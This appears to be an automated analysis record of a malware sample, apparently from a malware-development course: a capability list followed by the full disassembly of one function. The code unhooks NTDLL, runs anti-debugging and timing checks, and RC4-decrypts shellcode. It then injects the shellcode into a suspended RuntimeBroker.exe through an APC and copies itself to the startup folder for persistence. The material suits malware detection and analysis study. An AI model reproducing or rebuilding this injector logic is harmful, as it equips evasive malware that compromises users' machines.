Function at 0x140001dd0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check for outputdebugstring error
Check for peb beingdebugged flag
Check for peb ntglobalflag flag
Check for time delay via queryperformancecounter
Copy file
Create process on windows
Enumerate processes
Execute shellcode via indirect call
Get common file path
Get startup folder
Inject apc
Parse pe header
Print debug messages
Query environment variable
Read file via mapping
Terminate process
Terminate process by name
Write file to startup folder

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xdd0]
sub rsp, 0xed0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xdc0], rax
xorps xmm0, xmm0
lea rcx, [rbp + 0x480]
xor esi, esi
xor eax, eax
xor edx, edx
mov word [rbp + 0x260], ax
mov r8d, 0x104
mov ebx, esi
mov edi, esi
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
call sub.VCRUNTIME140.dll_memset
mov edx, 0x82
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x140001e89
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetWindowsDirectoryA_Failed_With_Error_:__d__n
call fcn.140001130
jmp 0x14000209f
lea rax, str.NTDLL.DLL
mov edx, 0x104
lea r9, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
lea r8, str._sSystem32_s
lea rcx, [rbp + 0x480]
call fcn.1400011f0
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x480]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x140001f01
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileA_Failed_With_Error_:__d__n
call fcn.140001130
jmp 0x140001f77
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], esi
mov r8d, 0x11000002
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
jne 0x140001f3c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileMappingA_Failed_With_Error_:__d__n
call fcn.140001130
jmp 0x140001f72
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
test rax, rax
jne 0x140001f6f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____MapViewOfFile_Failed_With_Error_:__d__n
call fcn.140001130
jmp 0x140001f72
mov rbx, rax
test r14, r14
je 0x140001f80
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x140001f8e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x14000209f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax]
mov r9, qword [rcx + 0x20]
test r9, r9
je 0x140001fc3
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14000207b
movsxd rcx, dword [r9 + 0x3c]
add rcx, r9
cmp dword [rcx], 0x4550
jne 0x14000207b
movzx r11d, word [rcx + 0x14]
mov r8d, esi
movzx r10d, word [rcx + 6]
add r11, rcx
test r10, r10
je 0x14000207b
mov rdx, rsi
lea rcx, [r11 + 0x18]
nop word [rax + rax]
mov eax, dword [rcx]
or eax, 0x20202020
cmp eax, 0x7865742e
je 0x14000201f
inc r8d
inc rdx
add rcx, 0x28
cmp rdx, r10
jl 0x140002000
jmp 0x14000207b
movsxd rax, r8d
lea rcx, [rax + rax*4]
mov eax, dword [r11 + rcx*8 + 0x24]
mov edi, dword [r11 + rcx*8 + 0x20]
lea r14, [rax + r9]
lea r15, [rax + rbx]
test r14, r14
je 0x14000207b
test r15, r15
je 0x14000207b
test rdi, rdi
je 0x14000207b
lea r9, [rbp - 0x80]
mov dword [rbp - 0x80], esi
mov r8d, 0x80
mov edx, edi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002131
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect__1__Failed_With_Error_:__d__n
call fcn.140001130
mov eax, esi
test eax, eax
lea rdx, str.____Error_al_desenganchar_NTDLL._n
lea rcx, str.___NTDLL_desenganchada_con
cmove rcx, rdx
call fcn.140001130
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x78], rsi
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x50], 0x2f3a9d32
mov dword [rsp + 0x54], 0x42d43399
mov dword [rsp + 0x58], 0xba7f839c
mov dword [rsp + 0x5c], 0x79b03868
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [rbp - 0x62]
movzx ecx, word [rsp + 0x76]
movsd xmm1, qword [0x140005368]
sub ecx, eax
movzx eax, word [rbp - 0x64]
movd xmm2, ecx
movzx ecx, word [rsp + 0x74]
cvtdq2pd xmm2, xmm2
sub ecx, eax
movd xmm0, ecx
divsd xmm2, qword [0x140005370]
cvtdq2pd xmm0, xmm0
addsd xmm2, xmm0
comisd xmm1, xmm2
jbe 0x140002175
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, rdi
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rbp - 0x80]
lea r9, [rbp - 0x80]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000216b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect__2__Failed_With_Error_:__d__n
jmp 0x140002076
mov eax, 1
jmp 0x14000207d
mov rbx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0xff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400021a0
mov dword [rax], 0xd0
mov rbx, rax
cmp dword [rbx], 0x15e
jle 0x140002215
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor r9d, r9d
mov dword [rsp + 0x28], esi
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, 0xaabbeeff
lea rcx, str._i__Saved_Machine_ID:_0x_0.8X_n
call fcn.140001130
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140002a78
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 1
je 0x140002a78
mov rax, qword gs:[0x60]
cmp dword [rax + 0xbc], 0x70
je 0x140002a78
lea rcx, [0x140004740]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x80], rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1400022b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001130
jmp 0x140002333
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea r8, [rbp - 0x70]
lea edx, [r9 - 1]
call rbx
test eax, eax
je 0x1400022e6
mov edx, eax
lea rcx, str._t____NtQueryInformationProcess__1__Failed_With_Status_:_0x_0.8X__n
call fcn.140001130
jmp 0x140002333
cmp qword [rbp - 0x70], rsi
jne 0x140002a78
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea r8, [rbp - 0x80]
lea edx, [r9 + 0x16]
call rbx
test eax, eax
je 0x140002329
cmp eax, 0xc0000353
je 0x140002329
mov edx, eax
lea rcx, str._t____NtQueryInformationProcess__2__Failed_With_Status_:_0x_0.8X__n
call fcn.140001130
jmp 0x140002333
cmp qword [rbp - 0x80], rsi
jne 0x140002a78
call fcn.140001250
test eax, eax
jne 0x140002a78
xor edx, edx
mov qword [rbp - 0x60], 0x238
mov r8d, 0x20c
mov dword [rbp - 0x58], esi
lea rcx, [rbp - 0x34]
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
mov dword [rbp - 0x38], esi
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov edi, esi
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000239a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____CreateToolhelp32Snapshot_Failed_With_Error_:__d__n
call fcn.140001130
jmp 0x140002432
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1400023c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____Process32FirstW_Failed_With_Error_:__d__n
call fcn.140001130
jmp 0x14000242d
lea r15, str.x64dbg.exe
lea r14, [0x140005360]
nop
mov r9, r15
mov r8, qword [r9]
lea rax, [rbp - 0x34]
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400023f4
add rax, 2
test ecx, ecx
jne 0x1400023e0
test edx, edx
je 0x140002403
add r9, 8
cmp r9, r14
jl 0x1400023d3
jmp 0x14000241c
mov r8d, dword [rbp - 0x58]
lea rdx, [rbp - 0x34]
lea rcx, str._t_i__Found___s__Of_Pid_:__d__n
call fcn.140001010
mov edi, 1
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400023d0
test rbx, rbx
je 0x14000243b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x140002a78
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rdi, rax
lea rcx, str._t_i___dwTime2___dwTime1__:__d__n
sub edi, ebx
mov edx, edi
call fcn.140001130
cmp edi, 0x32
ja 0x140002a78
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x80], rsi
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
jne 0x14000249a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____QueryPerformanceCounter__1__Failed_With_Error_:__d__n
call fcn.140001130
jmp 0x1400024e6
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
jne 0x1400024be
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____QueryPerformanceCounter__2__Failed_With_Error_:__d__n
call fcn.140001130
jmp 0x1400024e6
mov rdx, qword [rbp - 0x80]
lea rcx, str._t_i___Time2.QuadPart___Time1.QuadPart__:__d__n
sub rdx, qword [rbp - 0x70]
call fcn.140001130
mov rax, qword [rbp - 0x80]
sub rax, qword [rbp - 0x70]
cmp rax, 0x186a0
jg 0x140002a78
call fcn.140001440
test eax, eax
jne 0x140002a78
lea ecx, [rax + 1]
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str.MalDev_Academy
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x140002a78
lea rcx, str._i__First_Time_Running__Initializing_DRM_Protection_...
call fcn.140001130
call fcn.1400017e0
test eax, eax
je 0x140002a84
lea rcx, str.___Done__n
call fcn.140001130
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x60]
call fcn.140001bb0
test eax, eax
je 0x140002a84
mov r15, qword [rbp - 0x78]
mov ecx, 0x40
mov rdx, r15
mov qword [rsp + 0xf00], r12
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r12, rax
test rax, rax
jne 0x140002595
lea rcx, str.____LocalAlloc_Failed__n
call fcn.140001130
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [r12 - 1]
jmp 0x140002732
mov qword [rsp + 0xf08], r13
lea rcx, [rbp + 0x278]
mov qword [rbp + 0x270], rsi
mov eax, esi
mov r10d, pe_nt_image_headers64
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, r10d
jb 0x1400025b3
mov r11d, esi
mov r9, rsi
nop word [rax + rax]
movzx r8d, byte [rbp + r9 + 0x278]
mov rax, r9
and eax, 0xf
movzx edx, byte [rsp + rax + 0x50]
add edx, r11d
add edx, r8d
movzx r11d, dl
movzx eax, byte [rbp + r11 + 0x278]
mov byte [rbp + r9 + 0x278], al
inc r9
mov byte [rbp + r11 + 0x278], r8b
sub r10, 1
jne 0x1400025d0
mov ebx, dword [rbp + 0x270]
mov r9, r15
mov edi, dword [rbp + 0x274]
mov r8, r12
mov r13, qword [rsp + 0x60]
test r15, r15
je 0x140002694
mov r14, r13
sub r14, r12
lea eax, [rbx + 1]
dec r9
movzx ebx, al
lea r11, [r14 + r8]
movzx r10d, byte [rbp + rbx + 0x278]
lea eax, [rdi + r10]
movzx edi, al
movzx eax, byte [rbp + rdi + 0x278]
mov byte [rbp + rbx + 0x278], al
mov byte [rbp + rdi + 0x278], r10b
test r11, r11
je 0x14000268f
test r8, r8
je 0x14000268f
movzx edx, byte [rbp + rbx + 0x278]
add rdx, r10
movzx eax, dl
movzx edx, byte [rbp + rax + 0x278]
xor dl, byte [r11]
mov byte [r8], dl
inc r8
test r9, r9
jne 0x140002632
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, str.___Payload_decrypted_successfully._n
call fcn.140001130
xorps xmm0, xmm0
mov dword [rbp + 0x1e0], 0x68
xor eax, eax
lea rdx, [rbp + 0x480]
mov r8d, 0x104
mov dword [rbp + 0x244], eax
lea rcx, str.WINDIR
mov qword [rsp + 0x78], rax
movups xmmword [rbp + 0x1e4], xmm0
movups xmmword [rbp + 0x1f4], xmm0
movups xmmword [rbp + 0x204], xmm0
movups xmmword [rbp + 0x214], xmm0
movups xmmword [rbp + 0x224], xmm0
movups xmmword [rbp + 0x234], xmm0
movups xmmword [rsp + 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x140002760
lea rcx, str.____GetEnvironmentVariableA_failed._n
call fcn.140001130
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 0xffffffff
mov r13, qword [rsp + 0xf08]
mov r12, qword [rsp + 0xf00]
mov rcx, qword [rbp + 0xdc0]
xor rcx, rsp
call fcn.140002aa0
mov rbx, qword [rsp + 0xf10]
add rsp, 0xed0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
lea r9, str.RuntimeBroker.exe
lea r8, [rbp + 0x480]
lea rdx, str._sSystem32_s
lea rcx, [rbp + 0x270]
call fcn.140001190
lea rdx, [rbp + 0x270]
lea rcx, str.___Full_path_to_the_target_process:__s_n
call fcn.140001130
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x1e0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400027f2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcessA_failed._Error:__d_n
call fcn.140001130
jmp 0x14000271c
mov r13, qword [rsp + 0x78]
lea rcx, str.___Suspended_process_created._PID:__d_n
mov rbx, qword [rsp + 0x68]
mov edx, r13d
mov rdi, qword [rsp + 0x70]
call fcn.140001130
test r13d, r13d
je 0x14000271c
test rbx, rbx
je 0x14000271c
test rdi, rdi
je 0x14000271c
mov r9d, 0x3000
mov qword [rbp - 0x78], rsi
mov r8, r15
mov dword [rbp - 0x80], esi
xor edx, edx
mov dword [rsp + 0x20], 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x140002862
lea rsi, str.____VirtualAllocEx_failed._Error:__d_n
jmp 0x140002a48
lea rax, [rbp - 0x78]
mov r9, r15
mov r8, r12
mov qword [rsp + 0x20], rax
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002a41
cmp qword [rbp - 0x78], r15
jne 0x140002a41
lea rax, [rbp - 0x80]
mov r9d, 0x40
mov r8, r15
mov qword [rsp + 0x20], rax
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400028bd
lea rsi, str.____VirtualProtectEx_failed._Error:__d_n
jmp 0x140002a48
mov rdx, r14
lea rcx, str.___Shellcode_injected_at_address:__p_n
call fcn.140001130
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
lea rcx, str.___APC_queued_to_the_remote_thread._n
call fcn.140001130
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
xor edx, edx
lea rcx, [rbp + 0x590]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x590]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
lea rcx, [rbp + 0x7a0]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x9b0]
mov r8d, 0x410
call sub.VCRUNTIME140.dll_memset
movzx ecx, word [rbp + 0x590]
lea rax, [rbp + 0x590]
mov r14, rsi
test cx, cx
je 0x140002978
cmp cx, 0x5c
je 0x140002969
cmp cx, 0x2f
je 0x140002969
add rax, 2
jmp 0x140002970
lea r14, [rax + 2]
mov rax, r14
movzx ecx, word [rax]
test cx, cx
jne 0x140002957
xor r9d, r9d
lea rdx, [rbp + 0x7a0]
xor ecx, ecx
lea r8d, [r9 + 7]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x1400029a0
lea rcx, str.____SHGetSpecialFolderPathW_failed._n
call fcn.140001130
jmp 0x140002a06
lea r9, [rbp + 0x7a0]
mov qword [rsp + 0x20], r14
lea r8, str._s_s
mov edx, 0x208
lea rcx, [rbp + 0x9b0]
call fcn.1400010d0
xor r8d, r8d
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x1400029f5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CopyFileW_failed._Error:__d_n
call fcn.140001130
jmp 0x140002a06
lea rcx, str.___File_moved_copied_to_startup_folder._n
call fcn.140001130
mov esi, 1
lea rax, str.___File_moved_to_startup_folder._n
test esi, esi
lea rcx, str.____Move_to_startup_folder_failed._n
cmovne rcx, rax
call fcn.140001130
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
jmp 0x14000272a
lea rsi, str.____WriteProcessMemory_failed._Error:__d_n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rsi
call fcn.140001130
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002725
lea rcx, str.____Debugger_detected__Exiting..._n
call fcn.140001130
mov eax, 0xffffffff
jmp 0x14000273a